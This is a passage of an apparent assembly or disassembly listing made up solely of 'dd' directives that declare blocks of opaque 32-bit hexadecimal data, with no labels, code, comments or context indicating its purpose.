		dd 378F27Dh, 20F838DDh,	6FB6A8E9h, 2C83E709h, 0B00477E2h
		dd 1E9C107h, 0C086443Ch, 5321A771h, 0B1E92E0Fh,	0EDEF5E76h
		dd 7F3807B1h, 0E6754BA1h, 0ABB2595h, 0BF023FBAh, 0D80942F0h
		dd 6FCC1C46h, 0C9B800CBh, 0E9112F4Eh, 0FE4DF6F0h, 3CE9E1CCh
		dd 5300093Eh, 0AFDF6D75h, 2E74ECC9h, 2AE9BE2Ch,	796FF18Eh
		dd 0F9535554h, 0C224E47Eh, 294E360Fh, 82E22914h, 12A090Bh
		dd 9362D268h, 0B3567949h, 0BC1561AFh, 0BD1680E2h, 3DFC6AEEh
		dd 79F50181h, 501CF870h, 2B1A8455h, 80EA4FB1h, 0D5C353Fh
		dd 31507D71h, 654010F6h, 9FF9764h, 12D7C61Eh, 0EC50E168h
		dd 98AAF4DEh, 8F9852C8h, 14B819A0h, 0E9189805h,	32FAD636h
		dd 53D0FC34h, 62BC5A5Fh, 6E12533Dh, 0D8FCF945h,	81D36018h
		dd 270E8842h, 705D2840h, 4D252D5Fh, 98FC5070h, 758E89BDh
		dd 688956E7h, 2009D229h, 660B8B12h, 0F7F6B450h,	0C328C860h
		dd 4A716839h, 0ECBE1F24h, 5F5E6981h, 8B4602D1h,	81294ED1h
		dd 2FEEC166h, 6DC83500h, 2DE93BD0h, 24BBD33Ah, 663661D9h
		dd 1A5D0787h, 9CD55F8Eh, 31D1C195h, 9C6FC32Fh, 0D5276850h
		dd 0CF5ADE6Eh, 0A369CCD7h, 3B632312h, 469ADC06h, 0B3444AA7h
		dd 15BD4BEDh, 8F685205h, 8828205Ah, 14274D5Eh, 82F5F45Fh
		dd 2EBA5DB1h, 70DDC8E1h, 0F9FBD6Fh, 858F8F1h, 0E34A1282h
		dd 517BE940h, 0E90A01C0h, 5B3D78A1h, 0ABE217BAh, 771A1321h
		dd 0CFE69150h, 7D493078h, 5330FC0Ch, 60D1103Eh,	82610432h
		dd 0F1010C20h, 895143E9h, 8ABEFD4Ah, 1AE7480Ah,	0DD5BDB0Eh
		dd 8060A360h, 86560C9Dh, 0C34655E9h, 23E9017Eh,	2017F833h
		dd 2218D732h, 95183292h, 13C77A78h, 0CCFCFFE9h,	3D4126D8h
		dd 0B5B419F4h, 34A99949h, 0E7398069h, 50EF9D81h, 2824F782h
		dd 0D8FD60F8h, 0BC947504h, 0B652615Bh, 6F65651Bh, 0B396382h
		dd 5C4F5FD6h, 5E534312h, 40B4D6B4h, 99B42920h, 2F59562Fh
		dd 18B31216h, 0C31357ADh, 0D955D0BAh, 79478D8Fh, 0B1843A57h
		dd 766AFCBAh, 97BAEB4Bh, 5177E976h, 9B11D82h, 0D17F738Fh
		dd 7851089Ah, 55B38762h, 0AB8074Bh, 2D902B3Dh, 5242770Fh
		dd 0A82549FAh, 0AB30CDDEh, 0A49ECEh, 4553554Ch,	2E323352h
		dd 0F06C6438h, 5644411Ch, 0D4950CAh, 0F3544E63h, 0A518D4Ch
		dd 0E631F901h, 6803F42Ch, 6AE92D7h, 0FDEC1CD0h,	6C32D798h
		dd 10121593h, 88994CCh,	9544F608h, 5FEB44FEh, 84F49644h
		dd 42977122h, 11DF21EAh, 0F31E00E0h, 0A54AFA3Bh, 18A80069h
		dd 4BFB3AF2h, 0AA306BA3h, 7E87211Ah, 22DA0031h,	7DB953E3h
		dd 0E0030CBCh, 0B455E524h, 0A1F0D078h, 0A3BE0712h, 0E003E8E4h
		dd 7A9ACBA8h, 700D4F4h,	2F4315B4h, 0BDAE5h, 3F6864B8h
		dd 0AB85A9F6h, 0CFFE4B00h, 2C38A55Bh, 518238E8h, 9215AA01h
		dd 0C857D497h, 0B7006E5Dh
		dd 4C5B53Bh, 18BFE828h,	5ECDA615h, 0C8F9D660h, 0A93A81ADh
		dd 830A0086h, 1BC8A266h, 0B6F00A8h, 90BCCC62h, 1900F343h
		dd 3EB71DDDh, 76AE5FEFh, 0E6070076h, 779CC62Eh,	0D40F48F2h
		dd 9337A4E8h, 0AE660C40h, 32DF6Fh, 658B3BFAh, 30D868A9h
		dd 8535F418h, 0EEB1221h, 0B071AD5Ch, 6200521Bh,	0ABA7BB3h
		dd 0FEE425E1h, 194F14FCh, 660397A4h, 0FBFCD41h,	80E51E3Eh
		dd 35F92F9Ch, 46EF93h, 3AD3E36Ah, 871D0184h, 0A9862900h
		dd 0E2488844h, 722E4CCh, 3CEF8541h, 8A8CB78Fh, 0AA7900CDh
		dd 0B01448FBh, 59F64100h, 6CA84775h, 8F0616ACh,	0CA3A005Eh
		dd 9F57BB0Bh, 10FC4C09h, 0AFFB8629h, 0A78B1C32h, 95C20089h
		dd 0C909C525h, 0DAEA6300h, 0DB1DF531h, 61C102F4h, 0A281CDF1h
		dd 3201405Eh, 56E627DFh, 0DE001622h, 0B757E726h, 0E60BE7Fh
		dd 25629B21h, 0F8CFF0C6h, 9051098Dh, 0DC81CC20h, 0E84C8861h
		dd 261495C4h, 895A2F2h,	0C94183Fh, 0D02A3DDDh, 8E547A3Bh
		dd 0C0FCEDh, 599955B6h,	0C7FF00EFh, 0BF5BB107h,	5700974Fh
		dd 2113D3FDh, 2C6501h, 2AC6A282h, 0C0BB4BAEh, 0D7926AEEh
		dd 83D97305h, 64800523h, 1BCE3F0Dh, 7A139F16h, 0F715BC1Eh
		dd 2086B6C9h, 35D6402h,	6DD8A036h, 340757Ch, 669E72C2h
		dd 1B000157h, 28EB624Eh, 0E3894Dh, 848B8330h, 0C594E52Ch
		dd 0A6227612h, 436F8A00h, 0AE256Bh, 87C2C367h, 0E4371B0Eh
		dd 81B85400h, 0CB60C12Bh, 0EEA400DEh, 400189DFh, 0FA01D6F6h
		dd 49A515D4h, 614D8Dh, 0B07323Ch, 0B177AD5Eh, 0FCA9DFFEh
		dd 68F6CBE5h, 0A3C6AC24h, 324E709h, 0F50434CFh,	0D5F03BEh
		dd 924C4CD7h, 0E2600CAh, 89BCBA36h, 0E7C93C6Eh,	44759681h
		dd 8037A1F7h, 7BC4EE28h, 1C5A0DD0h, 80301E60h, 147EBADFh
		dd 0B2F674C7h, 0E3EBCE00h, 0F512F349h, 6A7C0070h, 9215B65h
		dd 940072D8h, 44F6F2BCh, 1B314Bh, 78AB8792h, 25E521C8h
		dd 0D7068F00h, 0DFDA3686h, 7538286Ch, 0A98528FFh, 0D23E0095h
		dd 22CE806h, 224892C3h,	1F38F14h, 8137F72Fh, 3A44FA83h
		dd 0A2B06DBBh, 4254D29Eh, 7F309297h, 1DD96247h,	7E6C00DCh
		dd 0D7378746h, 6E60DE1Fh, 4502FB21h, 0F8AFF0A6h, 0F03101EDh
		dd 0B170AC40h, 482BD01h, 1246F5A4h, 785F6090h, 0EEBF09F4h
		dd 0B27075Dh, 0C1F1A054h, 2C02EC28h, 0FB48719Ah, 0EAFF48A5h
		dd 3E87EC6h, 10462202h,	18733385h, 0B131B802h, 54353F44h
		dd 0B9A8381Ah, 7B6D1CF4h, 24B5E443h, 0F5170029h, 0DA53F939h
		dd 0BF02187Eh, 0D8B506D5h, 25FA8045h, 0ADC809h,	60D00369h
		dd 8D9508Ch, 0AF35900h,	0CB4D5C8Ah, 0A794001Dh,	0EBDBD80Eh
		dd 0FF3A3F13h, 92DA3B4Ah, 0E0007DFCh, 0DC92791h, 0C3E300CDh
		dd 0E11DF2A7h, 437D67CFh, 174FCB01h, 5A45321Ch,	94070C3Ch
		dd 0F00FC724h, 172C4D9Ah, 1E975F0Bh, 0FB1F1E92h, 18DC5D8h
		dd 45633993h, 0FCF5D9CCh, 335891A0h, 0AA6E0720h, 0E99213C0h
		dd 0F217C04Bh, 73AB0042h, 3C3EFFAh, 0CE1CA460h,	0AE854C1Dh
		dd 1D806F7Ah, 62EBC7h, 6184F651h, 9D4FFFCCh, 0B09A1EAh
		dd 20A79782h, 1AC9E7ABh, 48B998AAh, 4724B744h, 0D536004Ah
		dd 0F0D3F119h, 10B48E6h, 0A118713Dh, 8945A89Dh,	6913F8ECh
		dd 0E00040DBh, 0D511F949h, 21A41430h, 0BFCC35h,	0E5559450h
		dd 0BA0ACB03h, 5F9E5600h, 7C6FEEFh, 0AC1F094Eh,	2A01A078h
		dd 0E6EE2C5h, 0BCD01400h, 339E7518h, 69477D01h,	96DA09BAh
		dd 7FE71160h, 45A850CBh, 19D90015h, 0D60EFE4Eh,	7C906F5Fh
		dd 1ACAE2Ch, 58646100h,	9503AF14h, 0F73642C8h, 72AA470Fh
		dd 812472B3h, 1DAD31C1h, 738A2185h, 0D88E0434h,	0DBA58868h
		dd 52E22316h, 0A4F51140h, 0C29FC117h, 0A5290ED2h, 0B1716540h
		dd 2D90CBB2h, 0D62488FCh, 0E993814Bh, 7481A715h, 6FD3C20h
		dd 84D86B3Ah, 0C90A2443h, 26E06CE5h, 7C16D200h,	544DFEAFh
		dd 2649617h, 0A310C148h, 32412282h, 0C070D88Fh,	33F32B00h
		dd 6BAB6385h, 66EF0BC1h, 4020A9A5h, 0C24BE121h,	0DB036700h
		dd 0CA6751Fh, 0FD1500FBh, 0C477F5C6h, 9200B090h, 0DFF1DDEFh
		dd 7348756h, 0E52EBE95h, 0AC2309Eh, 0E90360CAh,	8530D0FCh
		dd 0E679825h, 8C3F0A6Eh, 16FE5658h, 0E5C300A5h,	2B984B21h
		dd 0F2457200h, 0DD6EBF93h, 2690087h, 0CF71EBA5h, 0A9725A3Bh
		dd 25614D2Eh, 1BD2C00h,	294A88h, 0E75487EDh, 9A9F0FACh
		dd 0EDDF10Eh, 67BD405Fh, 1DABAF35h, 0BC7891h, 9D59B587h
		dd 7E24F75Dh, 0A00E864Eh, 71C2E110h, 2E80361Bh,	8A624C60h
		dd 2F027B96h, 3E724E17h, 3C79569Dh, 0C908C480h,	99589479h
		dd 0BC32900h, 5A927ACAh, 212B609Bh, 0CF3E4DB4h,	66D61701h
		dd 39894884h, 0B7491A22h, 2D9E1C7Fh, 12E4F7h, 8BEF6344h
		dd 0F617254Fh, 0C0EF2045h, 927F43FFh, 8B055Ch, 163A2FA6h
		dd 5D9975C5h, 1A1E7E41h, 8114D2F2h, 2273A776h, 0D0391FF4h
		dd 507ED401h, 79702690h, 0C9852EE1h, 33F0373h, 0DD002F4Fh
		dd 77B66E81h, 9F22AC7h,	0B16D8333h, 0E5031C09h,	210B9D2Dh
		dd 82B4F30Ah, 48E8584Bh, 5BB7E1h, 39D262A3h, 24753CFDh
		dd 0DD419730h, 8425A98Eh, 0E0A74Dh, 4C683611h, 3D821AF2h
		dd 0F9AC380Bh, 0D6FA058Ah, 0B1EC0505h, 0FEDCC01Dh, 0B23201D2h
		dd 0C8A3115Eh, 7686679Bh, 2DEA004Eh, 487AB25Bh,	0A40364A0h
		dd 40F3200Eh, 1337FD6h,	0EA01B777h, 22BAF232h, 0D1CC40E1h
		dd 799C1513h, 2E28CE23h, 0B0BDB535h, 39BF15E4h,	7673E70Fh
		dd 8D4F01D6h, 0B3704BC5h, 5BE80BB9h, 5B80CE05h,	2CEF664Ah
		dd 0B36B9C00h, 106F5073h, 8D3E0CFBh, 0A424CD57h, 66A68802h
		dd 60E337D0h, 0BC164Fh,	5C7C5292h, 45816D30h, 0DFFB6B01h
		dd 0C1FDEEB3h, 257B0C0h, 2E95F9Fh, 5039D6h, 97277600h
		dd 0D57FBF77h, 127E095Ch, 5F801EAEh, 0A70B5DF1h, 94528D00h
		dd 0B1810826h, 4F9C0058h, 5ED70FFFh, 0BE012D9Dh, 3B91C606h
		dd 0CF60039Eh, 0AECAA007h, 82C00F1h, 1AD2395Ch,	68E48ADBh
		dd 0C89E3434h, 0B10CA0h, 0A9200C1Bh, 7ABA7299h,	0E400CC77h
		dd 0C5A18324h, 7BBD7990h, 0E31B007Ch, 7049623h,	0EC4A1E15h
		dd 0B007352h, 0ED993B5Eh, 469700B4h, 1FDF17F6h,	0D51F66B5h
		dd 0AE01047Fh, 4B69E0CCh, 13917AF0h, 968A449h, 468FD6C1h
		dd 302D27D9h, 9494B811h, 0D20AE101h, 64C02012h,	328118D0h
		dd 0F232BDEh, 68B68624h, 14C7FF40h, 0A2F63445h,	4AB2C023h
		dd 7500DF88h, 8E3EB6ACh, 1AB22CFh, 0CFC8A4Eh, 60A610D0h
		dd 5EE4A3A7h, 0CAF8ED01h, 0E9C5A44Fh, 78C09028h, 81AAEF5Ch
		dd 0ABF2B00h, 0D256CED5h, 624E095Bh, 51C014A2h,	0AC21BABh
		dd 0E06982B2h, 4BD881h,	716E0449h, 87603551h, 0DF8E4F1Ch
		dd 43E73D8Fh, 98340618h, 48A191h, 78B56A8Ah, 6BD882CEh
		dd 227D3A03h, 9298B6BEh, 0F0EB4076h, 0DE7316h, 457B9323h
		dd 41E7C7A1h, 0AE7D752Eh, 0F19DBF80h, 27833BACh, 3300F242h
		dd 74A81B4Ah, 6062E78h,	85DB68B9h, 0E6CA020Fh, 38B41C8h
		dd 72E040FAh, 7BB35E00h, 20DC0DBBh, 0BA5604E0h,	0C274C202h
		dd 0EB689A9Dh, 980B77C1h, 202A9C5Ch, 568E7C26h,	0CB200096h
		dd 68DDD313h, 539D2B0Ch, 1D747209h, 10BA5261h, 411E6FCh
		dd 703AE281h, 2781EB13h, 0D8CB4092h, 5B24FC2h, 0D38916B0h
		dd 9784AB5Ah, 60E62AF8h, 8418F12h, 0EA4A23A6h, 6132265h
		dd 0B8DDEE00h, 1EAE9A33h
		dd 40C50306h, 95E6D5E0h, 5A1CC260h, 65CE240Bh, 0CEC9C017h
		dd 0F1913589h, 0E929F8h, 34045A5h, 0A20EB257h, 14CCC000h
		dd 0D2C0AD5h, 9F1060E8h, 99D27832h, 0ACC74F00h,	411E529Dh
		dd 0A1BA3FD1h, 81662600h, 5E8F20F3h, 5F1BE950h,	0EAC8D300h
		dd 0DECF1CD0h, 139700E1h, 46CF91Ah, 0C62F8171h,	0FC92685h
		dd 44400037h, 81F129Ch,	2C3C43CCh, 0A1FC002Eh, 6C68765Ch
		dd 5828C218h, 0E1630F52h, 856E3976h, 0FF5B000Bh, 0DD8A36h
		dd 3EB9665Fh, 82EF81F7h, 76BF9D4Ch, 0B653E107h,	0C7C0257Eh
		dd 0C1BB5CAh, 88E0F39h,	8BEE5345h, 815929A1h, 57095E40h
		dd 1FD3E86Bh, 0B0DF19h,	3FFC7236h, 65909066h, 895F053Bh
		dd 8F3E8959h, 12F1A0Dh,	0D909C194h, 27EEED0h, 8008940Eh
		dd 8786BFD1h, 0A286137Ah, 88ADD50Ch, 0F611DC1Dh, 0DFD00043h
		dd 731B26Ch, 0F8D6481Bh, 0B9C891F1h, 54611E3Ah,	237D0105h
		dd 0CC5116A6h, 21E5F63h, 1F38ACCFh, 0F103ABA7h,	2F8D8F22h
		dd 0DDD8A608h, 1946E438h, 1021AEA8h, 600C37D0h,	542611DCh
		dd 2B283224h, 10C1C1Eh,	113A8F69h, 572F0496h, 0F99BB5h
		dd 0EC535B16h, 910460FFh, 25DB6171h, 102B7630h,	3DE68CF1h
		dd 6442DA5Ch, 30A4349h,	0A7A10E1Ch, 29805094h, 0BB0BF9DAh
		dd 0FA9B3388h, 31CE252h, 0AC367381h, 0C800B941h, 25BFB8F0h
		dd 607299Dh, 0DFA8B7D9h, 0F3191049h, 99B1F5FEh,	0FBADBC4h
		dd 3AEAAE41h, 9F80AD8Fh, 6EAA4735h, 1FD8F00Dh, 70BC384Ah
		dd 0F3F85D20h, 0A312F78h, 28D91032h, 9CE8D181h,	88AB6A57h
		dd 1D2ED620h, 4B3B004Ch, 97ACCEF6h, 18AB418h, 39318830h
		dd 0BC3059DEh, 7469AD10h, 0A5FA7C00h, 0CF82ED49h, 6980E7CBh
		dd 2E17EA72h, 260035CDh, 6DA4C30Ah, 0E2190313h,	29CE0096h
		dd 5E1D0527h, 7C0C2BF8h, 0C04BF3B0h, 0AE3F00FDh, 0F7C2CC74h
		dd 9600A9B1h, 12749E7h,	6985345h, 13D87A4Eh, 0D9F83044h
		dd 1A194060h, 883BBBC0h, 0A0AAF304h, 15E8D00Fh,	97E03200h
		dd 0A526DEh, 0B9586AEh,	1787AB23h, 7D901300h, 8F801D0Eh
		dd 0A2140108h, 76AF0A99h, 9F12D08Eh, 0AEF36F00h, 1D17968Bh
		dd 0EB6B73A8h, 0A0E826D0h, 1089D5h, 0A57A88FEh,	0F1949D05h
		dd 8B971700h, 7C992213h, 0A721020Ah, 341D148Fh,	0F33C3894h
		dd 131B0AA5h, 3A5418A6h, 191EA1F8h, 0B089180Fh,	0E039E78h
		dd 0A5918323h, 89590FEh, 268100F8h, 89A320F5h, 887803F4h
		dd 9D05EA7Ah, 33FCEE9Ah, 0FA756800h, 687A3402h,	15983915h
		dd 8EF00433h, 10C03944h, 43ADB937h, 0B33A005Ch,	0D4D1312Bh
		dd 0C000FEACh, 0E24A93ABh, 6016F52Ch, 332E3035h, 4B6039BCh
		dd 32C80F18h, 82D50DCh,	269D3DB0h, 0C3503300h, 2583B454h
		dd 0AD2C5B50h, 153FC939h, 8D0C3A5Ah, 0C1C88B5h,	30B66047h
		dd 0BB332FE9h, 29A059D8h, 0B93B884Bh, 40421330h, 0CDB00D76h
		dd 0F74025E8h, 0A990590Ah, 7685783Bh, 5808B30Fh, 62E4777Ah
		dd 1D8DF23Bh, 0B00E3DF9h, 7416B29h, 33B45142h, 91B98435h
		dd 0E5D139CCh, 0A92883C1h, 0F8BCFA69h, 0A0F13168h, 24B4260Ch
		dd 80E43F32h, 0CAB3C3BEh, 28072CDFh, 0A9AF8471h, 83E3B742h
		dd 0C2BDA50Ch, 0B1FC4831h, 4FBB0F43h, 0F743ACD2h, 0F6D02E7Ah
		dd 0CA063A9h, 0AA7B42AEh, 3028149Ah, 0B60E584Bh, 3437FEE9h
		dd 400AE864h, 940A71BDh, 8C352BAFh, 0A942BCA0h,	8421B840h
		dd 80A68E37h, 0C743A531h, 2A9D1985h, 83F83232h,	3418E082h
		dd 92C5C61h, 88294820h,	4D3043A4h, 2BE3C14Ah, 458CA6CCh
		dd 80E41A32h, 0BD0E6887h, 327C99ABh, 1113B798h,	75D09B90h
		dd 6268276Fh, 23413B25h, 33CD3818h, 0E012FE88h,	6404AF0Fh
		dd 0AD454C06h, 409426E9h, 0E057C72Ah, 0C4ABF112h, 28400C32h
		dd 0A3C35180h, 550A0C99h, 94028C37h, 0CF3806E9h, 0C0B3E204h
		dd 8AF58899h, 0F4A590E0h, 84428D08h, 41B763A4h,	0D2BFBC32h
		dd 246B6024h, 642844B9h, 0A38050BAh, 0C99463Dh,	8C44CF14h
		dd 86F70F04h, 0B20CCF2Eh, 0A82815A3h, 91523321h, 8D8042B2h
		dd 0C189935h, 8CBF50C7h, 9C724806h, 0D42423FFh,	0B164FB43h
		dd 21A09F26h, 0F3B96228h, 12BD1441h, 0C4D89A75h, 0F30F3574h
		dd 27507C61h, 6EB04085h, 0B565AA43h, 0A8366C51h, 991CF881h
		dd 0D8ED14B4h, 5B21AFCDh, 4CBF2A58h, 23542C93h,	915D4BA7h
		dd 0EC06BF39h, 1066E72Bh, 2D099CE0h, 0FE19220h,	9164AF78h
		dd 50AA8B10h, 748841DCh, 0D85F30B9h, 940D7818h,	35543418h
		dd 0F9D5A370h, 1391311h, 0A822B937h, 5B043C46h,	79ED6DB7h
		dd 3C70E814h, 479E43E3h, 47D8953Dh, 81FA043Ch, 7F78F3B3h
		dd 994D40h, 0DD018252h,	0F1EE798Fh, 1F26783Ch, 0F803620Bh
		dd 0E17C8AF7h, 144133F2h, 76F0F974h, 424B86Bh, 9763AFF4h
		dd 134C8B67h, 4C04B71Ah, 2241B8CFh, 85F8764Dh, 0B2B5DE38h
		dd 3927F414h, 0E00C8BDh, 0B20AC3C0h, 8F815442h,	5D10407Eh
		dd 0BC9A8830h, 2086FE29h, 324DF9E2h, 0E83AC81h,	0C50C34A9h
		dd 7F7063Eh, 2A57F22Eh,	0C0BA099Ch, 0F6FEE521h,	140927C6h
		dd 873116BFh, 8118AB2Ch, 752465Fh, 69DC58EEh, 4000B73h
		dd 847F9A8Fh, 0FE6CFDC9h, 0C5A60086h, 0D2DAA792h, 0CDFCE53Ch
		dd 67BBBE05h, 2C91DFC0h, 0C09438B5h, 0BA34DE5Ch, 162C8718h
		dd 30C41861h, 7E40DD53h, 0CFCD4FF2h, 0F776961Ch, 4041D3h
		dd 40460872h, 37CE23Eh,	35ADBC7h, 2800F359h, 0FD8064BDh
		dd 61AF8D08h, 0FDB90AAh, 9458A0D8h, 13F92877h, 5090725h
		dd 0F0E1EF15h, 47C85FEh, 0FB64BE24h, 31A02130h,	0E1F21F19h
		dd 41D101DCh, 0F8D76D11h, 87008C08h, 4A7839F5h,	0B0EE14A9h
		dd 60CFF169h, 0F712416Eh, 170380D8h, 1C8FE2C6h,	63310237h
		dd 0C28E7F10h, 30480868h, 0AC50AE03h, 0CF6DA636h, 0E16A604Fh
		dd 1D06F13Fh, 0C70CFE69h, 9BD73718h, 63B1A000h,	50904267h
		dd 2B3518C3h, 5F513AB0h, 0CE848F1Dh, 7C40C131h,	8DC95AB5h
		dd 3C23B938h, 0F1070F15h, 70C3E47Fh, 3B304C90h,	0CC2F5045h
		dd 0B7603C6h, 385D9969h, 8D78700Ch, 0ECCE61B1h,	88F5E1E9h
		dd 0D92FD099h, 0F02180C3h, 0C220E985h, 524FF45Ch, 5D06F0CAh
		dd 10AFB3ABh, 0B8BDE504h, 10B1A777h, 88530420h,	0F9F3C1h
		dd 0C0BC8E7Eh, 0B1FAF259h, 0AD00381Ah, 41C1B069h, 14758B94h
		dd 0E4FDB681h, 0E6EAE00Fh, 0DFB42A41h, 0A3AEC899h, 0FF7E8E00h
		dd 65A4EDFEh, 0B68603A9h, 59756331h, 2E4F007h, 0D50AF10h
		dd 63A392Fh, 894BCE43h,	1B2C2058h, 0A697B02Bh, 308C1C40h
		dd 18B184A8h, 1037D2EAh, 2648BFA5h, 0BDFD87C0h,	20393686h
		dd 2603B10Fh, 85CC0E9Eh, 0EFF098FBh, 0B3800B8h,	0F214A891h
		dd 0B8A269EEh, 1C013460h, 46412A67h, 0AF8F7200h, 37D31902h
		dd 804179A7h, 71F86921h, 0F369248h, 1E1634C4h, 82299D84h
		dd 146C8A49h, 85F70D02h, 19582A2Eh, 5EC10BCh, 0A29409F7h
		dd 2C318C60h, 9046DA39h, 0D7CDC300h, 0F6F4699Eh, 0D45F0005h
		dd 372FC806h, 0C25017F1h, 0D0180E0h, 29D38B5Eh,	0E8254597h
		dd 1F386440h, 2CD50383h, 84812401h, 0D979BE98h,	0A7F68912h
		dd 0CE84E41Eh, 80C7EAF8h, 0F50251D4h, 8C90C1BDh, 56015F8Ch
		dd 0FE3880C4h, 1980341Ch, 0ADB745E8h, 0D800CA78h, 55C856F8h
		dd 0B039D4E3h, 0AA832034h, 0A7643502h, 0E48FF733h, 4C720FE8h
		dd 6A40B067h, 81A0FEB4h, 0ED38D190h, 5CE624E0h,	0A61B08h
		dd 693B7FA7h, 7000C1Dh
		dd 3ED708B4h, 0E0F57694h, 0FF570343h, 5D8C9306h, 1C6179CAh
		dd 0ACA7F005h, 30B4A4A8h, 928C3454h, 3BC9B604h,	3C834F4Dh
		dd 0C3D0E39Dh, 9B1100A1h, 325C7630h, 6848F777h,	0B63300BCh
		dd 3F5E5742h, 0F59E266Eh, 0A02250h, 0AFF655A9h,	40E5E499h
		dd 0B0429FEh, 5A831230h, 35B24D1h, 0AE7C10CAh, 28594B18h
		dd 78E9270h, 0C6FBFFF0h, 0E49A01F6h, 0B55F10DFh, 0D0752254h
		dd 7E090498h, 840E6D77h, 6321842Ch, 42518021h, 1BFE74E5h
		dd 12D4A833h, 0BC97013Ah, 0DA4ABD5Fh, 0B94BDCF4h, 90A90F7Fh
		dd 6BCF60B6h, 18309100h, 503804BBh, 0B58E2A4Ah,	29E804D8h
		dd 0C48584B4h, 74348067h, 0D1622A35h, 0A0439721h, 40B67CB0h
		dd 0ABE80FC5h, 82A33E4Eh, 96906C9Dh, 431E0713h,	0AD276E5h
		dd 0DB5E7080h, 0DFDC30EFh, 0B3BD86C8h, 10E27F31h, 0E3E005F0h
		dd 3B9414Fh, 5FC1BFF4h,	6B1084DBh, 30D26D33h, 44E84776h
		dd 987A633Dh, 1ABEE76Dh, 58DEB3E3h, 581D0CC0h, 0C9029B80h
		dd 40A7EDE8h, 79C970B5h, 0AB0478F9h, 0D9D7C139h, 5A257492h
		dd 7EC8F418h, 8B24B4BFh, 0C090462Fh, 0F81CAF7h,	81C0A0DAh
		dd 0CE4AC5h, 0C68AD5D8h, 0E2FB8D97h, 710078F8h,	12F3EA31h
		dd 5DAD2BB4h, 404CC6Eh,	0E14F3258h, 0A8BC2044h,	37E58E07h
		dd 0BEA0C2AFh, 0B1BDBBDBh, 0B443090Ch, 39F6C868h, 0CE93F113h
		dd 4B322047h, 0E2F096A6h, 6C4104EFh, 0B25D3E38h, 23170070h
		dd 0AB3D6F31h, 4840BAA3h, 26048730h, 903796F8h,	68815300h
		dd 82BD0901h, 6AB4B2C9h, 21500898h, 68747976h, 2BF08600h
		dd 7A93FF65h, 360315ADh, 0FB84A02Ch, 85B8E2C2h,	0ECCA2FA8h
		dd 0B138BE20h, 43A466h,	0A7ABBC85h, 254B88C8h, 2080C8FFh
		dd 0B70701FAh, 4BC43094h, 0A0F12010h, 0F8BA19C5h, 688302C6h
		dd 3192BD0Bh, 7B78104Dh, 964A0068h, 88490DA6h, 3B2E2E9Ah
		dd 0BE82E0D9h, 68478FE6h, 95DD54h, 9C120C9Bh, 661A088Bh
		dd 101ED4F8h, 17178DA9h, 62AF74C0h, 21140A8Ch, 14D28B97h
		dd 15A314A2h, 0BC1192C1h, 1E0D8F30h, 131487ABh,	9C210078h
		dd 0A3111C95h, 0E10A8A02h, 61085533h, 90839AC2h, 0DF188F97h
		dd 16001874h, 1D0E9DA3h, 0E9069AA7h, 7E2880B7h,	0A0251982h
		dd 0A80088F8h, 62AE189Bh, 0C3161492h, 99A92331h, 129B590Ah
		dd 0C86B0C1Fh, 0BE96DD68h, 0F828AFFCh, 9D230288h, 50441395h
		dd 0E3B6AE02h, 7AE2579Eh, 0ED304464h, 3DD72B09h, 0B9D8C4D2h
		dd 0D6D80C0h, 36F41FA1h, 24D22F50h, 26D43512h, 4CC0B08Ch
		dd 0A85284ABh, 311F684Ch, 0C7654BA6h, 71485806h, 0D0556D09h
		dd 0A79084E1h, 0E0732E44h, 29404FB8h, 0E5A62D7Ah, 0B1B72002h
		dd 0B1CC8E02h, 0B3103718h, 68C8C565h, 888E442Ch, 1C24F598h
		dd 9826D409h, 3CA25934h, 36A68E38h, 643591D4h, 9C04CE81h
		dd 0ED5D1FADh, 22B3B832h, 0D078F797h, 80461B4Fh, 3031710Fh
		dd 3B59628Fh, 4E059EE9h, 0CB0E3A5Ch, 6BA868D0h,	54D02D41h
		dd 58B33401h, 0D05C79E2h, 524673D0h, 0DBC17105h, 8DE84629h
		dd 0B10DB9AAh, 684F33F0h, 0DD106C6Ch, 996CA3D4h, 0C804305Dh
		dd 0B318F6FCh, 9631AA5Bh, 36D9CA07h, 58D5BC4Ch,	758E7C6Dh
		dd 0CB66FA4h, 0FCE9B927h, 0CFC13163h, 28D11B30h, 622914B4h
		dd 0F0045B4Ch, 0FA285C4Fh, 0B8CFAB10h, 688ACC48h, 4FBD08A4h
		dd 56AF2788h, 0B6743B49h, 0C4AB21B8h, 7521D964h, 3EC80AA6h
		dd 33D85362h, 42E363F9h, 0C4154D28h, 352522EEh,	51B96F08h
		dd 8DFD08F4h, 14C12F42h, 8DD508F9h, 78718F45h, 0AD12D008h
		dd 50D71535h, 82815CAh,	217EA585h, 2044DB97h, 8355D22h
		dd 8EC4D0E3h, 99F55088h, 2FB7086Ch, 0AB418CA4h,	6900AD93h
		dd 6091ED0Eh, 9784B105h, 40A828C9h, 28B82284h, 386E5103h
		dd 22BB5E4Bh, 0DF502B58h, 78CFEB40h, 2E229064h,	486E3132h
		dd 32A469F9h, 47B7108Ah, 0F4AA644Ch, 0ED262540h, 0B8119853h
		dd 42B06726h, 3CB02C1Ch, 432577B0h, 0D0F0A0AAh,	91DBBDA1h
		dd 0B88E09E8h, 0A81BDC1Ah, 68874909h, 3E689066h, 0A4B548E6h
		dd 308388F7h, 381C76h, 1928C311h, 5CF2D569h, 8B23E700h
		dd 89531573h, 35E3263Ch, 47A10934h, 0E48E9C80h,	0B3038465h
		dd 0E71262Eh, 3C480E9Bh, 689823C3h, 504CBC0Dh, 0C61B84CCh
		dd 50A128A0h, 0A42D85ADh, 8DA33BF4h, 0C0973B12h, 84252F84h
		dd 770194E2h, 0B6F2722h, 0BFD4EA0Eh, 0CB6B30ABh, 38972660h
		dd 0F9098072h, 206FE3BCh, 0D137F64Ch, 0C89A0Fh,	0EABDA9B5h
		dd 3899291Fh, 0AF4890EEh, 84C02A20h, 0E56B2E0Ch, 541CD846h
		dd 0B8849h, 822FDC72h, 23243EAh, 0C1DD0EAh, 88B14777h
		dd 8E01CA7Bh, 2EC98142h, 0F62005E2h, 9804EFCh, 37DC91F9h
		dd 751505E0h, 0AA817301h, 1D4C69BEh, 0A8F43CD5h, 0E86FE870h
		dd 48B32CABh, 0E3D70CBFh, 7B3E3672h, 4C6C0756h,	7643BE19h
		dd 4A81C015h, 6E790E1Eh, 358D21AEh, 0A9118728h,	1DC26D6Fh
		dd 1F90807Dh, 74D6BBEh,	7C817A19h, 0C03F87ADh, 7B39AAA7h
		dd 703CAC78h, 6F771C4Ch, 0E0B42143h, 0E1B82BCEh, 45585F04h
		dd 7DAC00A1h, 0B4AB8040h, 1A52466Ah, 0EF9EC318h, 5C1038DFh
